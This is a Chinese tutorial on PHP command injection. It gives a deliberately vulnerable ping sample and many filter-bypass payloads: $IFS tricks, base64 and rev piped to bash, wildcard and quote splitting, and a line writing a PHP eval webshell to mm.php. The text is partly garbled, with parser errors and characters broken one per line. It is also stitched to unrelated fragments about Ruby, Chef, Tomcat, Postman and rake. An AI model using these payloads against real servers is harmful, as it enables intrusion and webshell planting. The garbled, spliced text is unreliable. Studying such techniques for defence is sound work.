在编写程序的时候,当碰到要执行系统命令来获取一些信息时,就要调用外部命令的函数,比如php中的
exec()、system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令,比如这样的代码
<?php
system("ping -c 1 ".$_GET['ip']);
?>
程序的本意是让用户传入一个ip地址去测试网络连通性,但是由于参数不可控,当我们传入的ip参数为"127.0.0.1;id“时,执行的命令就便成了”ping -c 1 127.0.0.1;id",执行完ping命令后又执行了id命令,";"在linux中用于将多条命令隔开
?ip=127.0.0.1;id
像这样的代码就会存在命令执行漏洞,诸如此类的注入漏洞只要用户输入不可控就可能会存在注入漏洞,至于造成的危害就看执行的什么样的函数
php中内置了很多执行外部命令的函数,查阅php中文手册如下
除了用函数执行意外,php还支持命令执行符``,和shell中的命令替换一样
<?php
echo `命令`;
?>
||
格式:命令1||命令2…命令n
规则:或运算,如果命令1执行失败,执行命令2,如果命令1执行成功,则不执行命令2
示例:
命令1错误,命令2成功执行
]
命令1成功,命令2不执行
whoami||echo 命令1成功,我未执行!
|
格式:命令1|命令2…命令n
规则:当命令1执行成功时才执行命令2,如果命令1未执行成功则不会执行命令2
示例:
命令1执行成功,执行命令2
whoami|echo ok!
&&
格式:命令1&&命令2…命令n
规则:命令1和命令2一起执行,如果命令1出错命令2则不执行
示例:
whoami&&echo ok!
&
格式:命令1&命令2…命令n
规则:命令1和命令2一起执行,互不影响
示例:
whoami&echo ok!whoamid&echo ok!
在Linux系统中,其中
"||"、"|"、"&&"、"&"拼接符号功能和Windows一样,在shell命令中Linux还定义了一个";"用于表示语句的结尾,可以将多条shell命令通过";"隔开
;;执行多条命令
echo "第一条命令";echo "第二条命令";echo "第三条命令"
在linux系统中可以使用$()和反引号``来对命令进行替换,这两者的功能一致,只不过进行多条命令内联替换时$()显更为整洁,在命令注入漏洞中,通过命令替换符号进行巧妙的构造可以绕过一些黑名单
示例:
echo "`id`"
echo "$(uname -a)"
在真实的网络环境中,存在执行系统命令的网页一般都会对用户的输入进行严格的过滤,什么黑名单白名单一堆WAF🐕,下面总结了一些针对检测类型去绕过的方法
简介:
KaTeX parse error: Undefined control sequence: \t at position 52: …别是空格`" "`、制表符`"\̲t̲"`、换行符`"\n"`,IFS默认以空格为分隔符,在shell脚本中可以手动设置IFS的值改变默认分隔符,这边通过实验来了解
I
F
S
变
量
e
c
h
o
打
印
IFS变量 echo打印
IFS变量echo打印IFS的值通过管道符"|"配合xxd以16机制的方式输出
I
F
S
的
值
(
因
为
IFS的值(因为
IFS的值(因为IFS是一些空格、换行、制表不好显示,所以通过xxd以16进制显示)
echo -n "$IFS"|xxd
xxd用2位表示16进制4位一组显示,如图0x20=空格,0x09="\t",0x0a="\n"
默认的IFS分隔符也可以修改成其他符号
#!/bin/bash
IFS=';'
toert="123;456;789"
for i in $toert;do
echo $i
done
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oMx2yxm7-1646711971818)(https://s4.ax1x.com/2022/02/26/beEJtH.png)]
因为更改了默认分隔符位";",所以for读取到";"处时就跳出循环执行echo然后进入下一论的迭代
$IFS方法总结 (目标过滤空格的情况下)
未过滤引号
命令$IFS""参数可以创建自定义变量
a=参数;命令$IFS$a未过滤"0~9"、"@"、"*"
命令$IFS$[上述的任意一个数字/字符]参数未过滤大括号"
{}"
命令${IFS}参数
$IFS利用方式原理
因为内部变量
I
F
S
默
认
值
为
空
格
,
又
因
为
变
量
的
优
先
级
要
比
命
令
来
的
高
,
所
以
理
想
状
态
应
该
是
命
令
+
IFS默认值为空格,又因为变量的优先级要比命令来的高,所以理想状态应该是命令+
IFS默认值为空格,又因为变量的优先级要比命令来的高,所以理想状态应该是命令+IFS+参数,可以做一个实验尝试一下
echo$IFS123(错误用法)
这并不是我们想要的结果,这是因为shell将以$开头的的视为变量的标志,在没有特殊的分隔符情况下往后的都视为变量的名称,所以echo$IFS123返回空的内容,shell没有读取$IFS,而是读取的一个不存在的$IFS132变量,shell允许使用一个不存在的变量,shell将这种变量解析为空值即毫无意义,当然,shell也提供了一个${}操作符,可以确定变量名的范围,用法如下
echo${IFS}123
成功输出123!,用 将 {}将 将IFS套起来让shell解析时确定变量的具体名称,这样shell就不会把后面的123也当作变量名了,这类似于python的字符串格式化
如果目标服务器过滤了大括号"{}",这时${IFS}就不管用了,再回过头看看第一次尝试的写法echo$IFS123,shell执行命令时看到$号,有没有什么办法让shell读取$后面的内容刚好到S处,经过测试后发现,当shell在搜寻变量名称遇到引号(")、美元符号(
)
等
符
号
时
就
会
以
这
些
符
号
标
志
结
束
,
也
就
是
说
当
我
们
配
合
‘
)等符号时就会以这些符号标志结束,也就是说当我们配合`
)等符号时就会以这些符号标志结束,也就是说当我们配合‘IFS`打印一串以字符开头的内容时,输出就会正常
echo$IFS"123echo$IFS'123
这边加了转义,因为引号需要闭合,如果将左边的引号闭合会是什么情况
echo$IFS""123
Linux允许用字引号拼接一个空内容,并且shell因为搜寻到引号字符所以正确解析了 I F S 变 量 , 最 后 正 常 输 出 123 内 容 , 其 实 e c h o IFS变量,最后正常输出123内容,其实echo IFS变量,最后正常输出123内容,其实echoIFS"123"也可以,因为在shell命令获取参数时,参数外面可以用引号括起来也可以不括起来
如果目标过了引号和大括号怎么办,顺着刚刚的思路shell解析变量名称碰到"$"就会开始尝试读取下一个变量名,这样的话只要将参数放在一个变量中,然后通过命令+$IFS+变量的方式就可以正常使用$IFS变量,方式如下
a=123;echo$IFS$a
除此之外,还有一种方法,普通shell变量的名称以字符、数字、下划线组成,变量在命名时不能以数字开头也不能以除了"_"以外的字符开头,因为在shell中内置了很多的系统级别的动态变量,这些变量多以数字、字符为名称,而且shell在读取这些变量时因为是内置的所以无需对变量名称范围进行检查,比如其中一个变量$$,这个变量的功能是打印当前程序的pid号,当这个变量后面跟着字符串或者数字时是不会被干扰的,比如
echo$IFS$$toert
可以看到$$变量名并没有像之前那样变成$
t
o
e
r
t
,
值
得
注
意
的
是
s
h
e
l
l
因
为
‘
"
toert,值得注意的是shell因为`"
toert,值得注意的是shell因为‘"
"
‘
变
量
正
确
解
析
了
‘
"`变量正确解析了`
"‘变量正确解析了‘IFS变量,除此之外还有以数字命名系统变量,比如$1,$1`变量是shell脚本中用于捕获参数的方法,比如
1.sh
#!/bin/bash
echo $1
chmod +x 1.sh;./1.sh
但是默认情况下$1没有值的,相当于"",可以做一个实验
4.sh
#!/bin/bash
if ["" == $1]
then
echo "\$1 == \"\""
fi
./4.sh
1 默 认 参 数 等 价 于 " " , 那 上 面 的 ‘ e c h o 1默认参数等价于"",那上面的`echo 1默认参数等价于"",那上面的‘echoIFS""123不就可以变成echo$IFS$1123`了吗,输出结果如下echo$IFS$1123
这样也可以绕过空格过滤,像这样默认没有值的内置系统变量还有很多,shell提供了$0~9十个系统变量为脚本提供捕获参数的方法,这些值默认都是空值,相当于""
| 变量名 | 作用 |
|---|---|
| $0 | 表示程序/脚本名称 |
| $1~9 | 脚本捕获的9个参数 |
| $@ | 将脚本接受到的参数以列表返回 |
| $* | 以字符串的方式返回脚本捕获的所有参数 |
"{}"在bash中"{}"可以当作一个代码块进行执行,命令之间
";"隔开,参数用","隔开,但是要注意命令块中不允许有空格
{命令,参数;命令2,参数}
因为{}中不允许出现空格,如果用了空格就要进行转义,但由于","就相当于空格,所以最命令为
{echo,\<?php?,eval\(\$_POST[\'id\']\)\;\>}>mm.php
"%09"、“%0a”默认制表符为4个空格,shell允许命令和参数之间存在制表符(多个空格),如
cat[空格][空格][空格][空格]flag.txt
恰巧php中执行命令的函数也支持命令和参数之间用制表符\t,所以直接通过传入url编码的制表符来过滤空格
<,<>"linux中一切接文件,文件的输入输出通过
"<"、">"、">>"来操作,通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令,当shell在解析命令时如果遇到文件重定向符号,首先将执行文件重定向符号,比如cat<1.txt,shell在解析这条命令时因为命令中含有"<"输入重定向,所以shell先执行重定向操作,将cat命令输入重定向到1.txt文件中,即cat命令的输入来自于1.txt文件,最后cat命令在执行时直接输出了1.txt文件的内容
cat<1.txtcat<>1.txt
有时候目标会对一些关键命令的名称进行过滤,这样的过滤称之为黑名单,可以通过一些拼接和通配符等方法绕过黑名单,当然这些方法对一些笨重的过滤函数来说可行,当遇到正则过滤时就显得有些无力了,下面总结了一些常用绕过黑名单的方法,测试这些方法可以写一个命令执行的网页,然后编写简单的过滤规则
<?php
$cmd=$_GET['cmd'];
if(!strstr($cmd,"黑名单命令")){
echo exec($cmd)."<br>you cmd:$cmd";
}else{
exit("giaogiaogiao!");
}
?>
将要执行的命令提前进行base64命令编码,然后将编码后的命令通过管道符解码并执行,具体命令如下
echo "被过滤的命令"|base64echo base64编码后的命令|base64 -d|shellecho$IFS$1Y2F0IGZsYWcudHh0Cg==|base64$IFS$1-d|bash
在一个shell中定义变量通过名称=值来定义(定义时名称不要加$符号,等号两边不能加空格),查看变量值时可以通过echo $变量名称去查看变量内容,如果直接在命令行中输入变量名称,shell会先解析变量的内容然后将内容当成命令,所以通过将黑名单中过滤的命令名称拆解分成多个变量,然后通过输入变量名称的方式去达到绕过,比如cat flag.txt绕过如下
a=c;b=a;c=t;d=.txt;e=ag;f=fl;$a$b$c$IFS$f$e$d
引号不仅可以配合$IFS绕过空格和也可以绕过一些简单的字符串查找函数,直接在命令名称之间拼接单引号或者双引号来达到绕过,命令如下
c""a""t$IFS''flag.txt
之前说过shell内置了一些用于捕获外部参数的变量,如$*、$1~9,这些变量默认情况下等价于""、’’,所以构造这样的命令也可以达到绕过黑名单
c$1a$2t$IFS$*flag.txt
在shell中反斜杠除了可以转义特殊字符外还可以将命令分成多行,当命令过长时可以通过反斜杠去跨行输入命令,比如
将这些反斜杠全部写在一行中就达到了绕过黑名单的效果
c\a\t flag.txt
shell支持通配符去匹配文件,"?"代表一个字符,"*"代表多个字符,比如查看当前目录的flag.txt文件,根据描述符可以命令如下
cat ????.???
当然命令也可以通过通配符执行,使用绝对路径的方式去匹配命令,如
/bin/c?t ??????t??
字符串反序绕过黑名单其实和base64编码绕过类似,通过字符串反序将原有的命令打乱然后绕过一些简单的黑名单过滤函数,linux中有一个rev命令,可以将字符串进行反序,我们只要提前将命令进行反序然后二次反序通过管道符配合shell执行,命令如下
- 提前将要执行的命令反序:
echo "cat flag.txt"|rev
echo$IFS$1txt.galf$IFS$1tac|rev|bash
字符串截取绕过原理就是通过截取系统中其他文件的名称或内容,最后拼接绕过黑名单,使用shell的substr命令,通过expr命令执行,通过substr去绕过黑名单条件很苛刻,而且执行的命令较多,一般用于写一句话木马,并且目标过滤了尖括号的情况下使用substr,用例如下
比如黑名单过滤了flag,falg放在了当前的flag.php文件中,通过substr截取flag文件名称绕过黑名单
cat $(expr substr "$(ls)" 1 8)
$()、``、xargs)内联绕过就是通过白名单命令来获取黑名单中截止的字符串,比如黑名单中过滤了"flag"关键字,如果flag在网页根目录下,这时就可以先用ls命令将当前目录中所有文件列出来,然后配合cat进行输出,命令如下
cat $(ls),反引号``和$()效果一样
shell解析此命令时因为有变量替换符号,所以先执行ls命令再执行cat命令,最后ls命令就变成了cat命令的参数
将命令的输出作为另外一个命令的参数,在linux中有专门进行标准输出格式转换的命令xargs,比如上述的命令可以转换为ls|xargs cat,通过管道符获取ls命令的标准输出再通过xargs命令对标准输出格式化为cat命令的参数,如下
ls|xargs cat
有时候目标会限制用户传入的参数长度,比如限制用户传入参数最大长度为5,这时就要通过一些重定向以及创建文件的方式进行绕过,因为不同的过滤规则使用方法不同,后面会根据题目进行简介,这里只是做一个引子
- 用户最大输入字符长度为5
shell中内置了很多查看文件内容的命令,如果目标过了了cat命令可以通过其他查看文件命令的方式来绕过
| 命令 | 作用 |
|---|---|
| cat | 查看文件内容 |
| more、less | 以页方式查看文件内容 |
| head | 查看文件指定开头行的内容 |
| tail、tailf | 查看文件指定开头行的内容 |
| tac | 倒着查看文件内容,从最后文件最后一行开始查看 |
| file -f | file文件用于查看文件类型,-f参数如果文件内容中有其他文件的名称一起查看,如果没有就报这一行内容未找到,即通过报错的方式查看内容 |
| rev | 反序查看文件内容 |
| nl | 查看文件内容并附加行号 |
| awk NR | awk流文件编辑器,以流的方式读取文件内容,NR是查看读取到的内容流 |
| sort | 查看文件内容并去除文件重复的行 |
| uniq | 查看文件内容去除内容中连续的重复行 |
| vim、vi | 文本内容编辑 |
| od | 2机制显示文本内容 |
| hexdump | 16机制显示文本内容 |
| xxd | 16机制显示文本内容并默认打印明文 |
命令无回显就是在注入恶意命令后web页面并没有该命令的回显,需要我们通过其他方式去验证命令是否成功执行,常见的方式有http隧道、dns隧道、重定向读取、延时查看、nc回显,在线上环境中,http、dsn、nc都需要外网的环境,这里只演示重定向读取和延时查看
环境:
php <?php shell_exec($_GET['cmd']); ?>
如果目标站点可以创建文件,我们可以通过重定向>、>>去将命令的输出重定向到一个文件中,然后再访问这个文件
?cmd=ls>1.txt
然后访问这个1.txt即可得到命令的回显
和sql延时注入一样,通过判断条件设置页面的回显时间来检查命令是否执行,linux中提供了sleep命令,通过sleep命令配合||命令拼接符去检查命令是否执行,也可以将sleep换成ping命令,将ping包数量设置大一点点,通过F12查看
echo "一句话木马" > h.php||sleep 3【成功示例】
echdo "一句话木马" > h.php||sleep 3【失败示例】
||命令拼接符前面有介绍,如果命令1执行成功则不执行命令2,反之执行命令2,也就是说如果写入一句话到文件失败,那么执行sleep函数页面延时回显,这样就可以判断命令是否成功执行
我在使用omniauth/openid时遇到了一些麻烦。在尝试进行身份验证时,我在日志中发现了这一点:OpenID::FetchingError:Errorfetchinghttps://www.google.com/accounts/o8/.well-known/host-meta?hd=profiles.google.com%2Fmy_username:undefinedmethod`io'fornil:NilClass重要的是undefinedmethodio'fornil:NilClass来自openid/fetchers.rb,在下面的代码片段中:moduleNetclass
我想用ruby编写一个小的命令行实用程序并将其作为gem分发。我知道安装后,Guard、Sass和Thor等某些gem可以从命令行自行运行。为了让gem像二进制文件一样可用,我需要在我的gemspec中指定什么。 最佳答案 Gem::Specification.newdo|s|...s.executable='name_of_executable'...endhttp://docs.rubygems.org/read/chapter/20 关于ruby-在Ruby中编写命令行实用程序
我遵循了教程http://gettingstartedwithchef.com/,第1章。我的运行list是"run_list":["recipe[apt]","recipe[phpap]"]我的phpapRecipe默认Recipeinclude_recipe"apache2"include_recipe"build-essential"include_recipe"openssl"include_recipe"mysql::client"include_recipe"mysql::server"include_recipe"php"include_recipe"php::modul
我在用Ruby执行简单任务时遇到了一件奇怪的事情。我只想用每个方法迭代字母表,但迭代在执行中先进行:alfawit=("a".."z")puts"That'sanalphabet:\n\n#{alfawit.each{|litera|putslitera}}"这段代码的结果是:(缩写)abc⋮xyzThat'sanalphabet:a..z知道为什么它会这样工作或者我做错了什么吗?提前致谢。 最佳答案 因为您的each调用被插入到在固定字符串之前执行的字符串文字中。此外,each返回一个Enumerable,实际上您甚至打印它。试试
如何检查Ruby文件是否是通过“require”或“load”导入的,而不是简单地从命令行执行的?例如:foo.rb的内容:puts"Hello"bar.rb的内容require'foo'输出:$./foo.rbHello$./bar.rbHello基本上,我想调用bar.rb以不执行puts调用。 最佳答案 将foo.rb改为:if__FILE__==$0puts"Hello"end检查__FILE__-当前ruby文件的名称-与$0-正在运行的脚本的名称。 关于ruby-检查是否
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
//1.验证返回状态码是否是200pm.test("Statuscodeis200",function(){pm.response.to.have.status(200);});//2.验证返回body内是否含有某个值pm.test("Bodymatchesstring",function(){pm.expect(pm.response.text()).to.include("string_you_want_to_search");});//3.验证某个返回值是否是100pm.test("Yourtestname",function(){varjsonData=pm.response.json
我从Ubuntu服务器上的RVM转移到rbenv。当我使用RVM时,使用bundle没有问题。转移到rbenv后,我在Jenkins的执行shell中收到“找不到命令”错误。我内爆并删除了RVM,并从~/.bashrc'中删除了所有与RVM相关的行。使用后我仍然收到此错误:rvmimploderm~/.rvm-rfrm~/.rvmrcgeminstallbundlerecho'exportPATH="$HOME/.rbenv/bin:$PATH"'>>~/.bashrcecho'eval"$(rbenvinit-)"'>>~/.bashrc.~/.bashrcrbenvversions
我有一个使用SeleniumWebdriver和Nokogiri的Ruby应用程序。我想选择一个类,然后对于那个类对应的每个div,我想根据div的内容执行一个Action。例如,我正在解析以下页面:https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=puppies这是一个搜索结果页面,我正在寻找描述中包含“Adoption”一词的第一个结果。因此机器人应该寻找带有className:"result"的div,对于每个检查它的.descriptiondiv是否包含单词“adoption
我写了一个非常简单的rake任务来尝试找到这个问题的根源。namespace:foodotaskbar::environmentdoputs'RUNNING'endend当在控制台中执行rakefoo:bar时,输出为:RUNNINGRUNNING当我执行任何rake任务时会发生这种情况。有没有人遇到过这样的事情?编辑上面的rake任务就是写在那个.rake文件中的所有内容。这是当前正在使用的Rakefile。requireFile.expand_path('../config/application',__FILE__)OurApp::Application.load_tasks这里